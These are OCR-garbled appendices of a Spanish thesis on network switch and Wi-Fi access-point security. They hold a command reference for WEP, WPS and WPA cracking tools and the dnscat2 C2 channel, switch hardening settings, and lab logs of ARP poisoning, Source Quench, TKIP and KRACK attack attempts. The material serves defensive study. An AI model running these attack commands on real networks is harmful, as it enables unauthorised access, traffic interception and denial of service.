Interfaz_monitor

Inyectar un paquete en una red

aireplay-ng -2 -r Nombre paquete Interfaz_monitor

aireplay-ng -4 -b BSSID Interfaz_monitor

Obtener cadena Mediante ChopChop
pseudoaleatoria
(requiere WEP) Mediante fragmentacion

aireplay-ng -5 -b BSSID Interfaz_monitor

Crear un paquete ARP Request con campos MAC e
IP especificos a partir de un fichero .xor con la
cadena pseudoaleatoria

packetforge-ng -0 -a BSSID -h MAC Origen -k
IP_Origen -1 IP_Destino -y Fichero XOR -w
Nombre paquete

Obtener la clave zgzgé:l)te PTW (por aircrack-ng Fichero_capturas
precompartida en una
red WEP . . . .
Mediante KoreK aircrack-ng -K -n Longitud clave Fichero capturas
A.7 wash y reaver

e reaver es una herramienta que permite la obtencion del pin WPS por fuerza bruta. Por defecto, el
paquete reaver incluye también wash, que monitoriza la red en bisqueda de puntos de acceso con la

funcién WPS activa.

Monitorizar la red en busca de redes con WPS
activado

wash -1 Interfaz_monitor

reaver -1 Interfaz_monitor -b BSSID -¢
Numero canal -N

Obtener el pin WPS de Por fuerza bruta
un punto de acceso en un
canal especifico Utilizando Pixie Dust

reaver -i Interfaz_monitor -b BSSID -c
Numero_canal -N -K
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A.8 wifite

e Esta herramienta interactiva de auditoria Wi-Fi permite realizar ataques a redes WEP y WPA. Permite,
entre otros, realizar ataques de fuerza bruta y diccionario.

Con el diccionario por
defecto (ubicacion:
Lanzar wifite sobre una | /usr/share/dict/wordlist-
interfaz inaldmbricaen | probable.txt)

modo monitorizacion

wifite -i Interfaz_monitor

Utilizando un diccionario

, wifite -1 Interfaz monitor --dict Diccionario
especifico -

A.9 dnscat2

e Fl servidor dnscat? envia datos codificados sobre DNS que el cliente interpreta, creando una
comunicacion camuflada y manejando la maquina a través del mando y control.

e A través de su consola interactiva es posible navegar entre la ventana principal del servidor dnscat2 y
los distintos clientes conectados al servidor y otras ventanas generadas. Para volver a una anterior se
puede retroceder con el atajo de teclado Ctrl+Z.

Cliente Ejecucion del cliente dnscat --dns server=IP_servidor

Ejecucion del servidor ruby dnscat2

Listar los posibles comandos en la ventana actual | help

Listar las ventanas accesibles windows
Acceder a una ventana especifica window -i Identificador
Servidor Probar la conectividad | ping

Abrir un intérprete de
comandos (genera una
nueva ventana en la
ventana principal)

Dentro de una ventana shell

con un cliente

Descargar un archivo

A . download Ruta_archivo
de la maquina cliente -

A.10 hxcdumptool, hcxpcapngtool y hashcat

o Estas tres herramientas se emplean conjuntamente para poder realizar el ataque PMKID: Aixcdumptool
monitoriza y captura las tramas de las redes inaldmbrica, hcxpcapngtool transcribe la informacion
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recogida para que, por ultimo, hashcat pueda

realizar el ataque.

Capturar tramas y guardarlas en un fichero .pcap (no
requiere interfaz en monitorizacion)

hexdumptool -w Fichero salida pcap -i Interfaz

Mostrar opciones para conversion de ficheros .pcap
(indica argumento -m a utilizar con hashcat)

hexpeapengtool -h

Convertir fichero .pcap en .txt

hexpceapengtool -o Fichero salida txt Fichero pcap

Realizar ataque de diccionario sobre tramas EAPOL
transcritas en fichero .txt

hashcat -m 22000 Fichero_ txt -a 0 Diccionario
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ANEXO B: CONFIGURACION DEL CONMUTADOR

Los comandos empleados en las fortificaciones de los escenarios cableados (capitulos 3 y 5) se recogen en este
Anexo, agrupados por modulo o funcion. La organizacion de las tablas sigue el mismo formato que el Anexo
A las columnas de la izquierda explican los comandos expresados a la derecha y los argumentos entre corchetes
indican opcionalidad.

B.1 VLANs

Asignar una VLAN de gestion management-vlan Numero_vlan

Identificar una VLAN con una cadena de caracteres | vlan Numero vlan name Nombre

Asignar un puerto a una VLAN como etiquetado/sin vlan Numero_vlan tagged/untagged Puertos

etiquetar

Asignar una subred IP a una VLAN vlan Numero vlan ip address IP/Mascara
B.2 Servidor SNMP

Activar la funcionalidad de servidor SNMP snmp-server enable

snmp-server host [P community
Nombre comunidad trap-level all/critical/not-
info/debug

Designar receptor de traps de una comunidad segun
el nivel del evento

Habilitar el envio de traps de un médulo especifico | snmp-server enable traps Nombre modulo

B.3 Spanning Tree Protocol (STP)

Habilitar el protocolo STP spanning-tree enable

Activar la proteccion de BPDUs (ignorar tramas

BPDU y deshabilitar puerto receptor) spanning-tree Puertos bpdu-protection
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Indicar el tiempo de desactivacion del puerto por
accion de bpdu-protection (si Segundos = 0,
indefinidamente)

spanning-tree bpdu-protection-timeout Segundos

Activar el envio de traps por BPDUs no autorizadas

spanning-tree trap errant-bpdu

B.4 Médulo de seguridad dhcp-snooping

Habilitar el médulo dhep-snooping

dhcp-snooping

Activar dhcp-snooping en una VLAN

dhcp-snooping vlan Numero vlan

Permitir el paso de cualquier mensaje DHCP en un
puerto

dhcp-snooping trust Puerto

Asignar una [P como autorizada para el envio de
mensajes DHCP

dhcp-snooping authorized-server
IP_Servidor DHCP

Anadir una entrada estatica a la tabla dhcp-snooping

ip source-binding Numero vlan I[P MAC Puerto

Mostrar estadisticas de mensajes DHCP en una
VLAN

show dhcp-snooping stats

Mostrar el contenido de la tabla dhcp-snooping

show dhcp-snooping binding

B.5 Médulo de seguridad arp-protect

Habilitar el modulo arp-protect (requiere dhep-
snooping)

arp-protect

Activar arp-protect en una VLAN

arp-protect vlan Numero vlan

Mostrar estadisticas de mensajes ARP en una
VLAN

show arp-protect statistics Numero vlan

B.6 Médulo de seguridad port-security

Activar port-security en un puerto y establecer el
método de aprendizaje

port-security Puertos learn-mode limited-
continuous/continuous/static/configured

Limitar el nimero de entradas en la tabla MAC
asociadas a un puerto

port-security Puertos address-limit Numero MACs
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Mostrar las violaciones de seguridad recogidas por
el mddulo port-security

show port-security intrusion-log

B.7 IP Source Lockdown

Activar la funcionalidad IP Source Lockdown en un
puerto (requiere dhcp-snooping)

ip source-lockdown Puertos

Mostrar las asociaciones de la tabla dhcp-snooping
que utiliza IP Source Lockdown

show ip source-lockdown bindings

B.8 Lista de control de acceso (ACL)

Crear una lista de acceso basica/extendida

ip access-list standard/extended Identificador

Insertar una nueva entrada en una ACL extendida
(por defecto, sobre cualquier paquete IP. Si es de
tipo “deny”, se puede registrar el bloqueo del
paquete afiadiendo “log” al final)

access-list Identificador Numero_prioridad
permit/deny [ip/tcp/udp/...] IP_Origen/any
[eq/neq/gt/It/range Puerto Origen] IP_Destino/any
[eq/neq/gt/It/range Puerto Destino] [log]

Activar una ACL en un puerto

interface Puertos ip access-group Identificador in

Modificar el tiempo en el que los eventos por
paquetes bloqueados son registrados (por defecto,
300 segundos)

access-list logtimer Segundos

B.9 Registros: debug y log

Mostrar por consola los mensajes de depuracion

debug destination session

Mostrar los mensajes de depuracion de un modulo,
protocolo o funcionalidad del conmutador

debug Nombre_modulo_protocolo

Desde el encendido

show logging

show logging -a

Todos
Mostrar registros del En orden inverso (mas
conmutador recientes primeros)

show logging -r

De un nivel concreto (en
orden: major, error,
warning, info y debug)

show logging -m/e/w/i/d
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ANEXO C: ATAQUES PROBADOS

Para la elaboracion de este documento se han intentado realizar todos los ataques defendibles por el conmutador
o punto de acceso. Sin embargo, algunos ataques no han podido ser replicados en el entorno de pruebas. En este
Anexo se recogen dichos ataques, mostrando, al igual que en los apartados practicos, los pasos seguidos y los
resultados obtenidos. Ademas, se incluye el comportamiento o resultado esperado del ataque segin la
documentacion correspondiente.

C.1 Source Quench
C.1.1 Preparacion del escenario

Para este ataque se sigue el esquema de red genérico de la Figura 3-1 siguiendo los pasos detallados en el
apartado 3.1.1. En el equipo servidor, se ha optado por utilizar una maquina virtual con el sistema operativo Red
Hat 8.0 (afio 2002) que si podria ser vulnerable segtin la RFC 6633 [19].

| o

Carpeta de inicio
de root

e

Empezar aqui

%

Papelera

= B E  ooreaas |
agecl gl - = o

Figura C-1. Entorno del sistema operativo Red Hat 8.0
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1° [Equipo °S’, usuario “root”’] Se configura la tarjeta de red desde la terminal:
ip a add 10.10.1.2/24 dev ethe
ip 1 set ethe up
ip a 1ls dev ethe

2° [Equipo ‘S’, usuario “root”] Se prepara el servidor web para alojar un directorio con un archivo para su
descarga:

e Para generar un archivo lo suficientemente grande para comprobar la ralentizacion de la descarga se
ejecuta:

timeout 4s yes >> /var/www/html/archivo.txt

e En el fichero de configuracion principal se afiade al final del archivo la siguiente linea para asociar el
fichero a un alias:

/etc/httpd/cont/httpd.conf

[.]

Alias ¢/descarga’ ¢/var/www/html/archivo.txt’

¢ Finalmente, se arranca el servidor web Apache con la pagina por defecto:

service httpd start
C.1.2 Objetivo del ataque: DoS del cliente
1° [Equipo ‘A’, usuario “root”] En consolas separadas:

e Seenvenenan las tablas ARP de ‘C’ y ‘S’ para que el atacante sea el nexo de la comunicacion:
ettercap -T /10.10.1.2// /10.10.1.9// -M arp

e Se prepara el envio del mensaje ICMP Source Quench para cuando el cliente inicie la descarga:

netwox 85 --device ethl --filter “src host 10.10.1.2 and src port 80” -i 10.10.1.9

3° [Equipo ‘A’, usuario “dit”] Se inicia wireshark para observar como se envian los mensajes Source Quench:
wireshark &

4° [Equipo ‘C’, usuario “dit”] Se inicia la descarga del archivo alojado en ‘S’:
wget http://10.10.1.2/descarga

A diferencia de lo esperado, la descarga se realiza correctamente. Si el atacante finaliza la ejecucion de netwox,
se puede comprobar como la velocidad de la descarga es similar que cuando se estaba ejecutando. La captura de
wireshark confirma que, efectivamente, los mensajes ICMP Source Quench estan siendo enviados al servidor
para disminuir el caudal de la descarga, pero sin éxito.

El resultado esperado de este ataque seria dificultar o impedir la descarga por parte del cliente disminuyendo
progresivamente su velocidad de descarga hasta un minimo de un paquete entre ida y vuelta [101]. Se ha
comprobado que en las variables del kernel no existe un atributo relacionado con los mensajes ICMP Source
Quench similar a los requisitos del ataque 3.3.2, en el que se deben aceptar los mensajes ICMP de redireccion.
Es posible que el kernel ignore este tipo de mensajes por defecto y no pueda ser habilitado por motivos de
seguridad. La documentacion sobre este ataque es muy limitada y no se han encontrado fuentes que demuestren
la realizacion del ataque y su impacto salvo a nivel teérico. La fortificacion de este ataque, en caso de haber sido
exitoso, hubiera sido la asociacion MAC-IP-VLAN-Puerto al depender de la suplantacion IP del cliente.
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.1.9 1.2 Source quench (flow control)

B.12 2 ] .1.9 1.2 78 Source quench (flow control)
1416 ©.121241987 1€.10.1.2 1e.18.1.9 TCP 7306 80 - 35105 [ACK] Seq=7448231 Ack=116
1417 ©.121247217 16.16.1.9 10.18.1.2 TCP 66 35185 - 80 [ACK] Seq=116 Ack=7447471
1418 ©.121255774 16.16.1.2 16.18.1.9 TCP 4419 80 -+ 35105 [ACK] Seq=7447471 Ack=116
1419 ©.121257246 10.16.1.9 16.18.1.2 TCP 66 35105 + 80 [ACK] Seq=116 Ack=7451815

8.1 1 .1.9 1.2 Source quench (flow control)
a. .1.2 1.9 .. BB - 35185 [ACK] Seq=7451815 Ack=116

8. 1 78 Source quench (flow control)

a. 78 Source quench (flow control

10. .1.2 78 Source quench low control

> 8. 1 .1.2 78 Source quench (flow control

26 0.1 1 .1.2 78 Source quench (flow control)
1427 ©.121483823 10.16.1.2 16.18.1.9 TCP 1314 80 + 35185 [ACK] Seq=7461951 Ack=116
1428 ©.121422418 10.10.1.2 1e.18.1.9 TCP 2962 80 - 35185 [ACK] Seq=7463199 Ack=116

1429 8.121428249 1 .1.9 .1.2 70 Source quench (flow control)
a. 1 .1.9 - BB - 35185 [ACK] Seq=7466895 Ack=116

18.1 1 .1.2 Source quench (flow control)

20. 1.9 .1.2 78 Source quench (flow control)
8.121514773 1.2 .18.1.9 TCP 232.. 80 - 35185 [ACK] Seq=7484919 Ack=116
1434 ©.121583512 16.16.1.2 10.18.1.9 TCP 232.. 80 + 35185 [ACK] Seq=7508087 Ack=116

Figura C-2. Envio de mensajes ICMP Source Quench
C.2 Prediccion de secuencia

C.2.1 Preparacion del escenario

Como los sistemas operativos Linux no son vulnerables a este tipo de ataques, se ha recurrido al uso de maquinas
virtuales para este ataque. Concretamente, se ha empleado la maquina virtual Windows XP del laboratorio de
telematica empleada en apartados anteriores, la cual podria ser vulnerable [102]. El escenario para este ataque

es idéntico al del apartado practico 3.4.3.

C.2.2 Objetivo del ataque: DoS del cliente ‘C’

1° [Equipo ‘A’, usuario “root”] Se comprueba si el servidor es vulnerable a ataques de prediccion de secuencia.

Para ello, se ejecuta la herramienta /sping3 con los siguientes parametros:

hping3 -Q -S -p 139 10.10.1.9 --fast

Sin embargo, el resultado obtenido muestra como el equipo no es susceptible a un ataque de prediccion de

secuencia. Segun la documentacion de /ping3, un resultado satisfactorio seria:

Ejemplo de ataque exitoso segun [103]

HPING uaz (ethe 192.168.4.41): S set, 40 headers + © data bytes
2361294848 +2361294848

2411626496 +50331648

2545844224 +134217728

2713616384 +167772160

2881388544 +167772160

3049160704 +167772160

3216932864 +167772160

3384705024 +167772160

3552477184 +167772160

Es decir, a partir de cierta iteracion el nimero de secuencia puede ser adivinado al incrementarse un nimero fijo

(167772160), mientras que la salida mostrada por la ejecucion devuelve numeros impredecibles:
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3180683608
3297795432
4281287243
1844793143
4199395482
13 96741
2798265914

1291188742
3231188394
122214764
4044097980
1795771130
544733360

+1426924824
+117111824

+983491811

+1858473195
+2354602339
+1437968554
+1455869173
+2787890123
+1939999652
+1185993665
+3921883216
+2046640445
+3043929525

34227569 +2189494209
25288637 +1786028363

Figura C-3. Numeros de secuencia impredecibles en Windows XP

27
2

Un niimero de secuencia vulnerable en el equipo victima permitiria, principalmente, realizar ataques
unidireccionales “a ciegas” (blind TCP spoofing [33]) y realizar una denegacion de servicio contra la victima.

Al tratarse de un ataque probabilistico al depender de la generacion de niimeros pseudoaleatorios, se ha optado
por reintentar y esperar centenas de iteraciones a mayor velocidad, pero los resultados siguen siendo negativos.
La RFC 1948 [104] informa sobre como implementar correctamente la generacion de los niimeros de secuencia
para mitigar los ataques de prediccion, y la mayoria de fabricantes parchearon con actualizaciones de seguridad
sus sistemas operativos vulnerables. Al igual que en el apartado anterior, este ataque podria ser defendible en el
conmutador a través de la asociacion de la direccion IP con la MAC, VLAN y puerto de conexion del atacante.

C.3 Beck & Tews’ improved attack

C.3.1 Preparacion del escenario

Para este ataque se siguen los mismos pasos que para la preparacion del escenario 4.2.1.1 con la excepcion de
utilizar cifrado WPA-TKIP en lugar de WEP. Para que el punto de acceso opere en este modo, como no existe
una opcion “WPA Only” (a pesar de que se indica lo contrario), se debe establecer el modo “Auto” y forzar el
uso del cifrado TKIP. El pardmetro “Group Key Update Interval” que se recomienda para el ataque es de al
menos 3600 segundos.

162



Seguridad en conmutadores de red y puntos de acceso. Clasificacion y realizacion practica de ataques 163

Use WPA or WPA2 mode to achieve a balance of strong security and best compatibility. This mode
uses WPA for legacy clients while maintaining higher security with stations that are WPA2 capable.
Also the strongest cipher that the client supports will be used. For best security, use WPA2 Only
mode, This mode uses AES{CCMP) cipher and legacy stations are not zllowed access with WPA
security. For maximum compatibility, use WPA Only. This mode uses TKIP cipher. Some gaming
and legacy devices work only in this mode.

To achieve better wireless performance use WPA2 Only security mode (or in other words AES
cipher).

WPA Mode :
Cipher Type :

Group Key Update Interval : |35|]|] |(5econds}

PRE-SHARED KEY

Enter an 8- to 63-character alphanumeric pass-phrase. For good security it should be of
ample length and should not be a commonly known phrase.

Pre-Shared Key : [abcdefgh |

Figura C-4. Configuracion WPA-TKIP

Adicionalmente, se activan las funciones QoS, ultimo requisito de este ataque. En el apartado ADVANCED >
QOS ENGINE se puede habilitar las colas para ello.

DIR-809 // m| ADVANCED | TOOLS STATUS

TN csseriios 1
LA AR L Use this section to configure D-Link’s QoS Engine powered by QoS Engine Technology. This QoS
APPLICATION RULES Engine improves your online gaming experience by ensuring that your game traffic is prioritized
over other network traffic, such as FTP or Web.For best performance, use the Automatic

QOS5 ENGINE Classification option to automatically set the priority for yvour applications.

METWORK FILTER | Save Settings || Don't Save Settings |

e
ACCESS CONTROL

WEBSITE FILTER Enable Qo5 :
W Uplink Speed : kbps << |Se|ect Transmission Rate v |

ROUTING Downlink Speed : kbps << |Select Transmission Rate ¥ |

ADVANCED WIRELESS Queue Type : @ strict Priority Queue ) Weighted Fair Qusue
;EEPFROTEETED Queue ID Queue Priority

ADVANCED NETWORK 1 Highest

GUEST ZONE 2 Higher

IPV6 FIREWALL 3 Mormal

Ui BEE LY 4 Best Effort{default)

Figura C-5. Activacion de la funcion QoS del AP
C.3.2 Objetivo del ataque: obtencion de la cadena pseudoaleatoria

1° [Equipo ‘A’, usuario “root”] Se activa el modo monitor de la interfaz inaldmbrica. Al igual que con el equipo
‘C’, sino la tuviera integrada, se conecta un adaptador USB Wi-Fi:

e Para que no interfieran otros procesos, se comprueba la existencia de estos y se eliminan:

airmon-ng check kill

e Se activa la monitorizacion:

airmon-ng start wlan@
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Hasta que se detenga, la interfaz inaldmbrica cambia de nombre para indicar su estado: ya no es

“wlan0”, sino “wlanOmon”. Esto es comprobable con:

ip 1

2° [Equipo ‘A’, usuario “root”] Se comprueba la direccion MAC del punto de acceso al que nos queremos

autenticar:

e Con airodump-ng se comprueba qué redes inaldmbricas estan al alcance del dispositivo:

airodump-ng wlan@mon

e Una vez se encuentra el ESSID de la red objetivo, se para y se vuelve a ejecutar indicando el canal en

el que emite:

airodump-ng -c CANAL wlan@mon

¢ Finalmente, se copia su direccion MAC (BSSID) y la del cliente conectado, y se ejecuta:

tkiptun-ng -a DIRECCION_MAC_AP -h DIRECCION_MAC_CLIENTE wlan@mon

Blub 2:38 E6 38 1C 24 15 1C CF
Blub 1:17 DD @D 69 1D C3 1F EE
Blub 3:29 31 79 E7 E6 CF 8D SE
13:09:17 Michael Test: Successful
13:09:17 Waiting for beacon frame (BSSID: 34:0A:33:87:91:9D) on channel 9

13:09:17 Found specified AP

13:09:17 WPA handshake: 34:0A:33:87:91:9D captured98:BB:84:A7] [ 71 6 ACKs]
13:09:17 Sending 4 directed DeAuth. STMAC: [5C:D9:98:BB:84:A7] [10] 9 ACKs]

13:09:18 Waiting for an ARP packet coming from the Client ...
“Cad 5684 packets ...

Figura C-6. Ejecucion de tkiptun-ng contra red inalambrica vulnerable

tkiptun-ng se queda a la espera de detectar un paquete apto para obtener el fichero .xor como en el ataque
ChopChop, pero no llega nunca a procesar ninguno. Incluso forzando el envio de paquetes ARP desde ‘C’ con
arping o generando trafico entre ‘C’ y el punto de acceso, tkiptun-ng se queda en el mismo punto, aumentando
el contador de paquetes indefinidamente. A continuacion, se muestra un ejemplo suministrado por la
documentacion de tkiptun-ng [105] donde si captura un paquete. Hasta ese punto, la ejecucion de tkiptun-ng es
satisfactoria, obteniendo resultados semejantes.

Ejemplo de ataque exitoso segtin [105]

Blub 2:38 E6 38 1C 24 15 1C CF
Blub 1:17 DD @D 69 1D C3 1F EE
Blub 3:29 31 79 E7 E6 CF 8D 5E
15:06:48 Michael Test: Successful

15:06:48 Found specified AP

15:06:56 WPA handshake: 00:14:6C:7E:40:80 captured

15:06:56 Waiting for an ARP packet coming from the Client...
Saving chosen packet in replay_src-0305-150705.cap

15:07:05 Waiting for an ARP response packet coming from the AP...
Saving chosen packet in replay_src-0305-150705.cap

15:07:05 Got the answer!
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15:06:48 Waiting for beacon frame (BSSID: ©0:14:6C:7E:40:80) on channel 9

15:06:48 Sending 4 directed DeAuth. STMAC: [@0:0F:B5:AB:CB:9D] [ @] @ ACKs]
15:06:54 Sending 4 directed DeAuth. STMAC: [@0:0F:B5:AB:CB:9D] [ @] @ ACKs]
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15:07:05 Waiting 10 seconds to let encrypted EAPOL frames pass without interfering.
15:07:25 Offset 99 ( 0% done) | xor = B3 | pt
15:08:32 Offset 98 ( 1% done) | xor = AE | pt

D3 | 1@3 frames written in 84468ms
80 | 64 frames written in 52489ms

No existen mas ejemplos ni comentarios al respecto en la documentacion, la cual est, segtn la propia pagina,
todavia en desarrollo desde 2009. El resultado de este ataque seria, como en el caso de ChopChop, la creacion
de un fichero .xor con el que poder forjar paquetes inyectables a la red.

C.4 KRACK

C.4.1 Preparacion del escenario

Este escenario difiere de los ataques anteriores, ya que es la maquina del atacante la que actia como punto de
acceso.

1° [Equipo ‘A’, usuario “root”] Previo a la obtencion de los ficheros, es necesario descargar las siguientes
dependencias:

apt install 1ibnl-3-dev libnl-genl-3-dev pkg-config 1libssl-dev net-tools git
sysfsutils

2° [Equipo ‘A’, usuario “root”’] Se descargan los scripts de KRACK:
git clone https://github.com/vanhoefm/krackattacks-scripts.git
e Una vez descargados, se compilan los archivos necesarios:
cd krackattacks-scripts/krackattack
./build.sh
e Y seejecuta el siguiente script:
./disable-hwcrypto.sh

e Una vez terminado, se muestra por consola un mensaje avisando de que es necesario reiniciar el equipo
para que surta efecto el script anterior:

reboot

3°[Equipo ‘A’, usuario “root’] Se indica la interfaz inalambrica que debe utilizarse para abrir el punto de acceso,
asi como el estandar 802.11 a emplear (por defecto, 802.11g):

/root/krackattacks-scripts/hostapd/hostapd.conf

[..]
interface=wlano
[..]

hw_mode=g

[...]

4° [Equipo ‘A’, usuario “root”’] La documentacion indica que antes de cada ejecucion es necesario eliminar una
serie de procesos que podrian estar activos en segundo plano e interferirian con el correcto funcionamiento del
script:

service NetworkManager stop

rfkill unblock wifi

e Finalmente, ya se puede lanzar el script que inicia el punto de acceso:
cd krackattacks-scripts/krackattack
python3 ./krack-test-client.py
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. Both may interfere with this script.

ack/hostapd.conf
nd ssid "testnetwork”

AP-ENABLED
32] Ready. Connect
t PN for

t PN for

] Reset PN for GTK

Figura C-7. Creacion exitosa de red inalambrica con krack-test-client.py

5° [Equipo ‘C’, usuario “root”] El cliente ya puede acceder a la red “testnetwork”™ creada por el atacante. La
contrasefia para el acceso es “abcdefgh’:

nmcli d wifi connect testnetwork password abcdefgh

[12:12:38] for GTK

[12:12:40] for GTK

wlan@: STA :a4:05:19:a7 IEEE e B acknowledge authentication response
wlan@: STA :7f:a4:05:19:a7 IEEE .11: di acknowledge authentication response
wlan@: STA bc:7f:a4:05:19:a7 IEEE .11: di acknowledge authentication response
wlan@: STA bc:7f:a4:05:19:a7 IEEE e I acknowledge authentication response
[12:12:42] Reset for GTK

[12:12:44] Reset for GTK

[12:12:46] Reset for GTK

handle_beacon - too short payload (len=27)

[12:12:48] Reset PN for GTK

[12:12:50] Reset PN for GTK

[12:12:52] Reset PN for GTK

handle_beacon - too short payload (len=25)

[12:12:54] Reset for GTK

[12:12:56] Reset for GTK

wlan@: STA :7f:a4:05:19:a7 IEEE ¥ s B acknowledge authentication response
wlan@: STA :7f:a4:05:1 .11: di acknowledge authentication response
wlan@: STA :7f:a4:05:1 .11: di acknowledge authentication response
wlan@: STA :7f:a4:05:19:a7 IEEE .11: di acknowledge authentication response
[12:12:58] Reset for GTK

[12:13:01] Reset for GTK

[12:13:03] Reset for GTK

[12:13:05] Reset for GTK

handle_beacon - too short payload (len=28)

handle_beacon - too short payload (len=25)

[12:13:07] Reset PN for GTK

Figura C-8. Fallo de conexion con el punto de acceso del atacante

La conexidn a la red “testnetwork™, pese a haber seguido paso a paso las instrucciones y levantar con éxito el
punto de acceso, no se ha podido establecer. Se ha probado con otros dispositivos que emplean sistemas
operativos diferentes al del equipo ‘C’, pero se ha obtenido el mismo resultado. Se ha cambiado del fichero
“hostapd.conf” el estandar utilizado por otro mas compatible (hw_mode=b) y, tras repetir los mismos pasos con
todos los dispositivos, no se ha obtenido un comportamiento diferente.

El resultado de este ataque deberia ser una conexion exitosa del cliente con un mensaje advirtiendo de que el
equipo es vulnerable a la reinstalacion de claves. Se concluye que los equipos no son vulnerables, y que con los
dispositivos y medios utilizados para la elaboracion de este documento no es posible replicar este ataque.
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ANEXO D: SUMARIO TOTAL DE ATAQUES

Los ataques recogidos en el apartado tedrico se encuentran en este anexo, concentrando asi todas las tablas del capitulo 2. Las tablas estan agrupadas segun la capa del
modelo OSI o del cifrado Wi-Fi correspondiente, segun se trate de ataques en escenarios cableados o inaldmbricos. En la columna “Metodologia”, como su nombre indica,
se especifica la metodologia del ataque en cuestion, pudiendo ser: compatibilidad regresiva (la vulnerabilidad radica en un mecanismo intrinseco en sistemas heredados o
habilitado para ellos), confianza de los mensajes (los mensajes son a priori legitimos y aceptados por el equipo receptor), inundacion MAC (el atacante envia una gran
cantidad de mensajes con direcciones MAC origen aleatorias), suplantacion MAC (el atacante cambia su direccion MAC por la de otro equipo para engaiiar a la victima),
suplantacion IP (el atacante cambia su IP por la de otro equipo para engafiar a la victima), fragmentacion (los paquetes se fragmentan a nivel L3, consumiendo recursos en
el equipo reensamblador), inundacién (se envian masivamente paquetes para saturar al equipo victima), funcionalidades adicionales (el punto de acceso dispone o
implementa utilidades que pueden ser aprovechados por el atacante) contrasefias débiles (uso de claves vulnerables a ataques de fuerza bruta y/o diccionario) y phishing
(el atacante logra engafiar a la victima para recopilar informacion o instalar malware en el equipo).

Ataques de capa enlace

- Nivel Defendible en Herramienta (Implementado

Protocolo | N° Ataque Objetivo Metodologia victima/defensa | ¢ Consecuencias > en otro (Implementado?
i conmutador? de ataque o
Nivel ataque TFG/TFM?

i L2/1.2 Limitar las L.

MAC 1 Im;\r}[cilgon Conmutador Inundacién - direcciones MAC Sniffing macof No Apa;t'alci) ‘tle‘(irlco.

aprendidas en )
puertos Implementacion: [5]
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Anexo D: Sumario total de ataques

Nivel

- ;Defendible en Herramientas D
Protocolo | N° Ataque Objetivo Metodologia victima/defensa Gconmu tador? Consecuencias F— en otro (Implementado?
Nivel ataque ' TFG/TEM?
Si Si
MAC 2 Suplantacién Conmutador | Suplantacion MAC L2 Asignar las DoS, sniffing macchanger, No Apartado teorico:
MAC L2 direcciones MAC ’ 1p 2.1.1.12
en puertos Implementacion: [5]
Si Si
ARP | 3 | Suplantacion | g oo final | Suplantacion IP L2 Asociar [P- DoS, Mitv | &Pspook; No Apartado tedrico:
ARP quipo Hina up L2 MAC-VLAN- ’ ettercap 2.1.2.1.1
Puerto Implementacion: [5]
St Si (ampliado)
i
Salto de . Compatibilidad L2/12 Intrusion en . , Apartado tedrico:
8021Q | 4| yraNpi4 | Bavipofinal regresiva L Nousar VLAN |y AN hping3 Ste] 2.13.1.1
nativa .
Implementacion: 3.2.1
Si (adaptado)
Si .
5 Inundacion de C tad Confianza de los L2/12 y DoS ersinia Si [6] Apartado tedrico:
TCBPDU [15] | ~OmmHHcor mensajes L2 Proteccion Y 2.14.1.1
BPDU .
Implementacion: 3.2.2
STP
) Si (ampliado)
Suplantacion L2/L2 Si A e
. .. , rtado t :
6 | del puente raiz | Conmutador COHSZEE:.S: los Proteccion DoS, MitM yersinia Si[6] P azall Z 1egrlco
[15] J L2 iene 141,

Implementacion: 3.2.3

Tabla D-1. Ataques de capa enlace
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Ataques de capa red
A Nivel ; Defendible en Herramientas gl
Protocolo | N° Ataque Objetivo Metodologia victima/defensa | ¢ Consecuencias en otro (Implementado?
_ conmutador? de ataque o
Nivel ataque TFG/TEM?
) Si (adaptado, implicito
Si Segun ataque en ataques con defensa
1| 1P Spoofing [20] Equipo Suol o TP L3/L2 Asociar IP S(]%?'S’ _ N basada en asociacion IP-
poofing uplantacion - nittring, 1p 0 MAC-VLAN-Puerto
final L2 MAC-VLAN- Suplantacion, . )
Puerto MitM, etc.) Apartado tedrico:
22.1.1.1
1P
o No (fuera del objetivo
' agroute, del trabajo: solo nivel
Fragmentacion Equipo ., L3/L3 Consumo de libcrafter, JL2)
2 final, Fragmentacion No No
1P [21] tador L3 recursos, DoS | mausezahn, .
cnrutado libnet Apartado tedrico:
22.1.1.2
No (fuera del objetivo
; del trabajo: solo nivel
3 Inundgian ping Egrllgl)o Inundacion No DoS scapy, SING, No L2)
L3 smurf6 Apartado tedrico:
222.1.1
ICMP
i Si hping3, Si (adaptado)
Equipo Suplantacion IP, L3L Asociar IP- nemesis, . Apartado tedrico:
4| Smwf [22] final Inundacion L2 MAC-VLAN- DoS LOIC, IP St[16] 22212
Puerto Sorcery Implementacion: 3.3.1
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170 Anexo D: Sumario total de ataques
Nivel ;Defendible en Herramientas (i ST
Protocolo | N° Ataque Objetivo Metodologia victima/defensa | ¢ Consecuencias en otro (Implementado?
conmutador? de ataque TFG/TFM?
Nivel ataque ’
Si Si (nuevo)
Equipo Suplantacion IP, L3/L.2 ) .
5 | Redireccion [23] |  final, Confianza de los Asociar IP- MitM netwox, No Apartado tedrico:
enrutador mensajes L2 MAC-VLAN- cttercap 222.13
Puerto Implementacion: 3.3.2
No (fuera del objetivo
Nuke / Eaquino L3/1.3 hping3, del trabajo: solo nivel
6 | Fragmentacion gneﬁ Fragmentacion 3 No DoS scapy, SING, No L2)
[26] bettercap Apartado tedrico:
22214
No (fuera del objetivo
. . Inundacion . del trabajo: solo nivel
Ping of death Equipo ’ L3/L3 hping3, L2
ICMP 7 27] final Conﬁanza'de los 3 No DoS scapy, SING No )
mensajes Apartado tedrico:
22215
No (fuera del objetivo
Equipo L33 hping3, del trabajo: solo nivel
8 | Blacknurse [25] final, Inundacion 3 No DoS scapy, SING, No L2)
enrutador smurfo Apartado tedrico:
222.1.6
Suplantacion IP, St Si (nuevo, no logrado)
. Confianza de los .
9 Source Quench Equipo mensajes, L3/L2 Asociar IP- DoS — No Apartado teérico:
[28] final Compatibilidad 15 MAC-VLAN- 22217
regresiva Puerto Implementacion: C.1
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Ataques de capa transporte

- Nivel ;Defendible en Herramientas de D
Protocolo | N° Ataque Objetivo Metodologia victima/defensa | ¢ Consecuencias en otro (Implementado?
_ conmutador? ataque 9
Nivel ataque TFG/TFM?
., . hping3, No (fu§ra del objetivo del
1 Inundacién Equipo Inundacién L4/L3 No DoS nemesis, LOIC, No trabajo: solo nivel L2)
SYN [36] final L3 _
IP Sorcery Apartado tedrico: 2.3.1.1.1
Inundacion La/L2 Si hping3 Si (nuevo)
. <7z L. ) s
2 SYN con Equipo Suplantacp’n IP, Asociar IP- DoS nemesis, LOIC, No Apartado tedrico: 2.3.1.1.2
